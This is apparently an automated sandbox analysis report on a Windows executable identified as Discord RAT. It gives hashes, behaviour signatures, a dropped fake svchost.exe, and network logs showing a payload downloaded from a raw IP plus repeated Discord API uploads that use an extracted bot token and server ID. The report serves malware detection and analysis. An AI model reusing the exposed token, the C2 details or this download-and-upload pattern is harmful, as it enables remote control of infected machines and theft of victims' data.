Overview

overview

10

Static

static

3

main.exe

windows10-2004-x64

Resubmissions

29/06/2024, 12:07 UTC

240629-papsaszfnl 10

29/06/2024, 12:00 UTC

240629-n6lj3szeqq 10

Analysis

  • max time kernel
    36s
  • max time network
    48s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/06/2024, 12:07 UTC

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    main.exe

  • Size

    90KB

  • MD5

    9932b9f4ba73846661de9cd3a1773db1

  • SHA1

    3c03d8e1bcc1881a1dfecf4dd48281163fe7f8de

  • SHA256

    0221bcc32a8271a709de78656db437e596306cddd049585b70376112feb3a486

  • SHA512

    b1bec36207843d568d1ffec9457920afaea79c529a22e2e1d23ab38fda6d0fa39f523dfd2d4ec98485e34e5d880eac9beccafe36b2dc0cc45628145c87b1d047

  • SSDEEP

    1536:Msi8yMgTYYVJtD0wNJBNHPP3lLuBZAWsSTN56WsSTN5MwEYLzMkupBCZr:C8uTtownn3lWsSTdsSTqYLzupYr

Score
10/10
discordratpersistenceratrootkitstealer

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE

  • server_id

    1208115914978107542

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

    stealerrootkitratpersistencediscordrat
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\main.exe
    "C:\Users\Admin\AppData\Local\Temp\main.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:672
    • C:\Users\Admin\AppData\Local\Temp\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2460

Network

  • flag-ru
    GET
    http://185.188.183.18/WindowsUpdateService.exe
    main.exe
    Remote address:
    185.188.183.18:80
    Request
    GET /WindowsUpdateService.exe HTTP/1.1
    User-Agent: Downloader
    Host: 185.188.183.18
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:07 GMT
    Server: Apache/2.4.59 (Debian)
    Last-Modified: Sat, 29 Jun 2024 12:07:15 GMT
    ETag: "13a00-61c06346dbeb0"
    Accept-Ranges: bytes
    Content-Length: 80384
    Content-Type: application/x-msdos-program
  • flag-us
    DNS
    gateway.discord.gg
    svchost.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.130.234
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.135.234
    gateway.discord.gg
    IN A
    162.159.134.234
    gateway.discord.gg
    IN A
    162.159.133.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    svchost.exe
    Remote address:
    162.159.130.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: yZxcpnKe7c1kUJhRIts7ag==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Sat, 29 Jun 2024 12:08:08 GMT
    Connection: upgrade
    sec-websocket-accept: ydkSkqb73EpHrBQDvxbFYihZIW4=
    upgrade: websocket
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=btAMDT0SUx0pH1VZ8f5i8kR9d7%2BV2ue2jdxEXp94sNaPFIekldE1QfhBOMLh5SQpjN9VTOOpRQdfPYjSainc1MqgfttB7NP2U4f5uUxHPzH%2FCgUrMqITkUKazzLbpPfZgzW0gg%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 89b5ccde3fb303b9-LHR
  • flag-us
    DNS
    18.183.188.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    18.183.188.185.in-addr.arpa
    IN PTR
    Response
    18.183.188.185.in-addr.arpa
    IN PTR
    vm2804650 firstbyteclub
  • flag-us
    DNS
    209.205.72.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    209.205.72.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    234.130.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.130.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    discord.com
    svchost.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.128.233
    discord.com
    IN A
    162.159.136.232
    discord.com
    IN A
    162.159.138.232
    discord.com
    IN A
    162.159.137.232
  • flag-us
    POST
    https://discord.com/api/v9/guilds/1208115914978107542/channels
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/guilds/1208115914978107542/channels HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 29
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Sat, 29 Jun 2024 12:08:09 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=4037bbea361011efb500423a37e35cf1; Expires=Thu, 28-Jun-2029 12:08:09 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1994
    x-ratelimit-reset: 1719747443.952
    x-ratelimit-reset-after: 84554.446
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xN%2FYVL1fY2LJezpqQ%2BULCsjoXKbB4286xKeLbk3%2B5CUW8LwNBN%2B2jY16e0L%2FF7UvFvgagzXwq3ikDh5B3rQ%2B%2B66eJmCU2rV1oB63CT736DprK71kXh%2FBvw%2FWEcCn"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=4037bbea361011efb500423a37e35cf1cc8aa2201cf21d580ff4e95b822b8e8c99cddad22e3a3772782c55d5c6b4a0af; Expires=Thu, 28-Jun-2029 12:08:09 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=663274feae495359d9d86f8f0f4c8a7eecb52981-1719662889; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=0gpm4hrjtJOVcsv.zT5VarTNlSqo5IPrU9bpPYEqOFQ-1719662889702-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cce2db9676d2-LHR
  • flag-us
    DNS
    geolocation-db.com
    svchost.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-de
    GET
    https://geolocation-db.com/json
    svchost.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 29 Jun 2024 12:08:09 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    svchost.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 29 Jun 2024 12:08:09 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    DNS
    140.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    140.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1256581976958439517/messages
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1256581976958439517/messages HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 116
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:10 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=407f5342361011ef87c09297536142e9; Expires=Thu, 28-Jun-2029 12:08:10 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1719662891.081
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N9ofj82fR163MWXyDeP33xC8Zf9RwsO%2FiVwgcZXF7IalJ1b3mdXaQ647CDnK3D4tvepxArzkMChKfkNqqtAnhmbSkiBGMqBgKtr4RF4sraOOc4uTuXH%2FFuELGYjU"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=407f5342361011ef87c09297536142e9f54dabe4c99ab2982f975286c399bf818d595b9bffa965e4795c7a67d4499254; Expires=Thu, 28-Jun-2029 12:08:10 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=7ef5a9c89613f973cac4531d83040a5447bcd4e1-1719662890; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=dh1Coehp4x8arTVul2K4pF4_FK9zFlhRVnolG57m3_Q-1719662890214-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cce65cba63c4-LHR
  • flag-us
    DNS
    253.102.89.159.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    253.102.89.159.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    232.135.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.135.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1256581976958439517/messages
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1256581976958439517/messages HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: multipart/form-data; boundary="cf193083-0b64-42cf-a0c7-5fc3195082db"
    Host: discord.com
    Content-Length: 441505
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:15 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=43bc870a361011efaf9a3ab10b093919; Expires=Thu, 28-Jun-2029 12:08:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1719662896.150
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oD5hSlGBhj36LVz9FHPd%2FsvLieVcJr5E6L8jJviJrEGfAaZllky0nXtU25ZYss9NMNv977bivnZ%2BpHZH4N3bcL9bVFKA45XsKDsat7dPFc623Zkqy3cTmEO%2FTO3N"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=43bc870a361011efaf9a3ab10b0939193cb4b5dcdc169ac897d90372297b921691284978b87db7c14ab27688ec2940a6; Expires=Thu, 28-Jun-2029 12:08:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=f9ff8e586a7d670aeaf7ee31cc8e06df3501dfc8-1719662895; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=6QSRORUBQO26brWJEiGFEFQs5iX.5Ym0WOjbgvidIyo-1719662895602-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cd057fd96518-LHR
  • flag-us
    POST
    https://discord.com/api/v9/channels/1256581976958439517/messages
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1256581976958439517/messages HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: multipart/form-data; boundary="2877326b-f90f-49cb-8d11-1fcdfaa48a27"
    Host: discord.com
    Content-Length: 441505
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:15 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=43ead5ba361011efa77fded18392487d; Expires=Thu, 28-Jun-2029 12:08:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 3
    x-ratelimit-reset: 1719662897.151
    x-ratelimit-reset-after: 1.488
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zNbmAyn8fb0uZ2SKLXYo%2B%2BGQFNdhRCoxfW9RvPzXu2w7183nzrZAemIoKfLrMq7%2FEPsMxvQzudUtLfo66gNiGf%2FFxyeJUIyfFUncvWsIfOGGrLsyP%2F5n%2BesDg6PN"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=43ead5ba361011efa77fded18392487d40b01db3ba00bdd44ff3527ffbfc72552d69db31e5339daa87a54c950835d93c; Expires=Thu, 28-Jun-2029 12:08:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=f9ff8e586a7d670aeaf7ee31cc8e06df3501dfc8-1719662895; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=mryTZ0FbaEFQyYSymzN5i3w3Gv47qf2WFRqpQHTsycY-1719662895916-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cd089e397691-LHR
  • flag-us
    POST
    https://discord.com/api/v9/channels/1256581976958439517/messages
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1256581976958439517/messages HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 31
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:15 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=43e4ef4c361011efbae04eab4a989b4a; Expires=Thu, 28-Jun-2029 12:08:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 2
    x-ratelimit-reset: 1719662898.150
    x-ratelimit-reset-after: 2.377
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gu30L6G50svakHfQoHlHMTj4MI1AjtPE%2FmfkSeTMhArRyjndNL%2Ba4MD5btS%2FDzssprvN1CNzCoQXuxCldvl9jyBQcPT6dTse%2BVwwBLP%2FAbCva5KUyqiIkE96w5%2FA"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=43e4ef4c361011efbae04eab4a989b4aabbd9f9450f3803f3dbf233a99eb4097230893d2d7563248c1349388ac755544; Expires=Thu, 28-Jun-2029 12:08:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=f9ff8e586a7d670aeaf7ee31cc8e06df3501dfc8-1719662895; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=yXgN_Qb9krLILSKTzqt7LeZMC3mO_oPoP10jqk9YUYA-1719662895868-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cd09ebad3da6-LHR
  • flag-us
    POST
    https://discord.com/api/v9/channels/1256581976958439517/messages
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1256581976958439517/messages HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 31
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:16 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=44171d0a361011ef96425ad82529c61c; Expires=Thu, 28-Jun-2029 12:08:16 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 1
    x-ratelimit-reset: 1719662899.150
    x-ratelimit-reset-after: 3.068
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZojtpBiQ1rnuI1zdXwOQl3TrOH0DggJ3nWFbTiF0%2FfmJpG9%2Fwbi3%2BSSJZ4JCLjd8sjcQhkZiCeAdBZ7NvZePMrWNeUaZPXfT8W69s3dVGRapGPKHQCa6hTUW5X6V"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=44171d0a361011ef96425ad82529c61cf41e75dc87a1b0ee7bac52939584c4f166d7b5f42c3e987673fd5ba174e2579a; Expires=Thu, 28-Jun-2029 12:08:16 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=fa4763a2549111695f3c0425551dce8dbbe72326-1719662896; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=9NO__CdlMQC2j6pgVJ7HkfGm2xsGkY166iAT8KeukoQ-1719662896195-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cd0bd8086328-LHR
  • flag-us
    DNS
    58.55.71.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    58.55.71.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1256581976958439517/messages
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1256581976958439517/messages HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: multipart/form-data; boundary="e92605ce-7c03-4b01-a2d2-6c6ce40d7ae9"
    Host: discord.com
    Content-Length: 207146
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:26 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=4a586f5c361011efb9ed2e414889cd93; Expires=Thu, 28-Jun-2029 12:08:26 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1719662907.340
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6pn2AmshSZdOSwIa7ncWLALnnbT2dVXPrqsJh%2BXl91%2FDQUE6Jlcs2x7FwVSPw%2BlyMEeyZhuvCLXV%2FSl0hfllNI9phOsNU4mlTqykvnKbTzKXIILLwJyIawWZ%2Bbw8"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=4a586f5c361011efb9ed2e414889cd93b2d03f96f37a2dde600336ab6a020e27c719a9a4bf83d9fa66a55c381310a778; Expires=Thu, 28-Jun-2029 12:08:26 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=8700dafa5060373bf8da67f6b6847c7cdcaa5ce2-1719662906; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=Kor5ELWrViaN2zRrGQtdSaUCCowsfybtMBjnjmILxCQ-1719662906692-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cd4b786f6352-LHR
  • flag-us
    POST
    https://discord.com/api/v9/channels/1256581976958439517/messages
    svchost.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1256581976958439517/messages HTTP/1.1
    authorization: Bot MTEzNjc5NTQ5MjA0NzY2NzIzMg.Gw46q5.mJzQH6rMBkFiwBs0CyveXqxrxY_QdRW4PfdzkE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 31
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 29 Jun 2024 12:08:27 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=4a89950a361011ef93ee9297536142e9; Expires=Thu, 28-Jun-2029 12:08:26 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 3
    x-ratelimit-reset: 1719662908.343
    x-ratelimit-reset-after: 1.462
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GqjjWtYP255ebYXAlr7IBhKg5BRUsQdTZ2Nwb6WM8Ce3csywpUeOVrhQ%2FoTOdp9s1ik1U0KayYZZEDQS2WXWg0YbY0yA%2FmwvHvIJvo7HmeTZCyEllc0HQh3Ov1un"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=4a89950a361011ef93ee9297536142e9341fe231e58e90d519c3189d25a9adc666300e0048fea618871c130817a199ea; Expires=Thu, 28-Jun-2029 12:08:26 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=7395ee8af19ce80be66f6c98efb3076fd0ccc2d0-1719662907; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=94A5mNs.dTyxYe.aiaQfXHiI2EZ56GdAM_7YtlWbesw-1719662907014-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 89b5cd4f3829639b-LHR
  • flag-us
    DNS
    26.165.165.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    26.165.165.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    15.164.165.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    15.164.165.52.in-addr.arpa
    IN PTR
    Response
  • 185.188.183.18:80
    http://185.188.183.18/WindowsUpdateService.exe
    http
    main.exe
    3.1kB
     83.1kB
     64
    62

    HTTP Request

    GET http://185.188.183.18/WindowsUpdateService.exe

    HTTP Response

    200
  • 162.159.130.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    svchost.exe
    2.5kB
     48.6kB
     39
    58

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.135.232:443
    https://discord.com/api/v9/guilds/1208115914978107542/channels
    tls, http
    svchost.exe
    1.1kB
     5.3kB
     11
    12

    HTTP Request

    POST https://discord.com/api/v9/guilds/1208115914978107542/channels

    HTTP Response

    201
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    svchost.exe
    848 B
     4.5kB
     9
    10

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1256581976958439517/messages
    tls, http
    svchost.exe
    1.3kB
     3.0kB
     9
    10

    HTTP Request

    POST https://discord.com/api/v9/channels/1256581976958439517/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1256581976958439517/messages
    tls, http
    svchost.exe
    456.7kB
     9.8kB
     337
    167

    HTTP Request

    POST https://discord.com/api/v9/channels/1256581976958439517/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1256581976958439517/messages
    tls, http
    svchost.exe
    456.9kB
     8.6kB
     342
    137

    HTTP Request

    POST https://discord.com/api/v9/channels/1256581976958439517/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1256581976958439517/messages
    tls, http
    svchost.exe
    1.1kB
     2.9kB
     8
    9

    HTTP Request

    POST https://discord.com/api/v9/channels/1256581976958439517/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1256581976958439517/messages
    tls, http
    svchost.exe
    1.1kB
     2.8kB
     8
    9

    HTTP Request

    POST https://discord.com/api/v9/channels/1256581976958439517/messages

    HTTP Response

    200
  • 162.159.135.232:443
